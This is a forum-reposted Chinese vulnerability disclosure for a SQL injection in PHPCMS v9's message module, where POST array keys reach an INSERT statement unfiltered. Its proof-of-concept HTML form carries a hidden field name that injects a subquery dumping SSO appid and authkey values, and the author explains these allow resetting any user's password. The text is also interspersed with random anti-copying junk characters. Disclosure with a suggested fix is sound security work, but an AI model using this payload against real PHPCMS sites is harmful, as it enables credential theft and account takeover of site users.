|
简要描述:
5 g1 Q& x& C; b$ Z6 R2 z6 T* W* \2 s1 J9 u& G! t
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。( z. C" z7 F" {
. h$ k. l0 b, n2 M1 p0 c; `明天再更新下一个漏洞。7 `) v2 [9 l+ p- U
详细说明:' F7 ]" s2 ~( f% t
在/phpcms9/phpcms/modules/message/index.php中有代码如下:, G$ v$ _/ s* K! J- f8 _7 { X
% S3 x+ {6 d/ G( Q5 G# [
$messageid = $this->message_db->insert($_POST['info'],true);
4 a$ Y6 T& u# z; y$ L" K5 A3 H _' F! a2 ~& l; _1 W
3 T: Z" L& h$ S. C$ t" q
insert方法是key value的,代码如下:
6 _- ~7 M8 y, I; W6 \/ M M5 R3 I1 m
public function insert($data, $table, $return_insert_id = false, $replace = false) {$ V$ ~: o9 k2 y3 a4 e# C- |% ?$ U
if(!is_array( $data ) || $table == '' || count($data) == 0) {
2 p6 D& V6 R4 m8 a: r8 F5 i6 B return false;
* ]" M) ?4 |5 R1 C; [* n& O/ _ }: e: d% v% y7 Y8 E$ {
! p- k+ M3 V; ?) d; b0 N6 x $fielddata = array_keys($data);
9 k/ B7 ?9 W+ X8 ~+ x $valuedata = array_values($data);
: y# J4 l* A3 _9 Y) K. d array_walk($fielddata, array($this, 'add_special_char'));$ _- v6 a4 H4 e
array_walk($valuedata, array($this, 'escape_string'));# m$ o2 u3 M7 m# b8 ^+ _- q
# F! ?7 G4 n8 X7 ?( j+ X $field = implode (',', $fielddata);( {. e( T- s0 U/ a& H8 l
$value = implode (',', $valuedata);
+ l5 W- q7 U3 p) t2 K# u: P# `+ `" S; S+ H5 m
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
~7 D. s2 t" Z/ D% }0 }4 Z4 N5 C $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')'; g' t* k/ j8 P' o
$return = $this->execute($sql);
4 T! [& [& b5 _7 V return $return_insert_id ? $this->insert_id() : $return;" K$ z+ W) C) C3 a k& Z' }
}
/ T0 V; x9 O/ _' P3 n: {7 z5 u5 F8 H+ w% ^
@, M5 y, m+ G0 _3 ]& d9 K
嗯,很遗憾的是. y' h3 \, p3 [3 O7 {) u
* K6 X- O: i& I1 l& R$ ?- Tarray_walk($fielddata, array($this, 'add_special_char'));
! v$ q* G& S; a- K* E
$ U; I/ B% R' y9 L$ q. X5 M
: N8 n1 C m$ E- p中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
3 m- B2 p: o5 r* d j% j" D+ \& \
W" w% ?3 c% l$ e7 B; q到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。) }) T+ B6 j5 \( `3 @, r+ b! U B
; y% Z9 t- V: G
漏洞证明:
1 b+ L3 B0 y0 ?: c% o; l3 p读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。0 F" D9 X( ^' @4 R& ^8 s2 `
* p2 t* B) M4 {1 { P8 }; ~& L. {4 U5 {) z* c3 H7 B7 D
表单如下:用户名什么的得自己改一改。
) ` L9 ~* e* x3 b' V<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
3 h; S* E1 v2 t& ?3 x<table width="100%" cellspacing="0" class="table_form">
$ S K D9 d' K* X/ [7 M<tr>
( Q! s8 d2 [! M. L<th>标 题:</th># y" d/ \/ z P# c: v- \
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
0 g) d; n# C! B7 r, b0 e4 A</tr> + G* }+ n. I: O& ]- m& D7 b5 P. Q$ ^
<tr>
; v) Q [6 _( H% _<th>内 容:</th>( ]# A5 t# V' L F7 W
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>. n/ a& \: U4 R. ~7 e- {6 q5 p
</tr>, `0 A$ z" C: e; j: H- D
<input type="hidden" name="info[replyid]" value="2" />
+ W5 q! p( q0 \, Z; i<input type="hidden" name="info[send_to_id]" value="cc" />
; n* _$ T# ? R0 X<input type="hidden" name="info[send_from_id]" value="hh">
# f" S/ S- F% g/ C3 w P<!-- 漏洞的利用重点在这里开始 -->/ w3 N* e! P* b# g/ n6 O/ y
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> + a; W7 c. _) k9 w1 ?8 @6 R. U+ y
<!-- 漏洞的利用重点在这里结束 -->
7 W. R/ i' g+ q! B9 A0 u<tr>
' G3 `$ A& P2 d1 E( `( ~<th>验证码:</th>- C3 D8 a$ A9 e: w% g; E, K
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td># ~* A0 X' ~, o* {
</tr>
+ x- c4 B- Z0 I( _1 S* N4 h<tr>6 w b j* L9 { |
<td></td>
4 W/ \) }% ?0 U* ^1 `$ Z<td colspan="2"><label>
; l3 c' ]9 o2 L1 S" L<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
' o5 W0 i6 o3 f" h( {: K</label></td>
; [( u' o) q b$ |$ h</tr>
6 l; w- g! T, I% o! l1 S" Z</table>1 q' Y1 m6 ]+ s( u6 k
</form>
7 o5 o! @( P3 u4 b# ]# i& `在add_special_char函数内对key做过滤就可以了。- S6 o0 Z, E* x9 a5 @
# F2 D# {' \) d
3 t6 a% n/ @9 g+ B6 D1 P; P
+ I7 e: I3 G% m9 V8 }9 |5 o |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|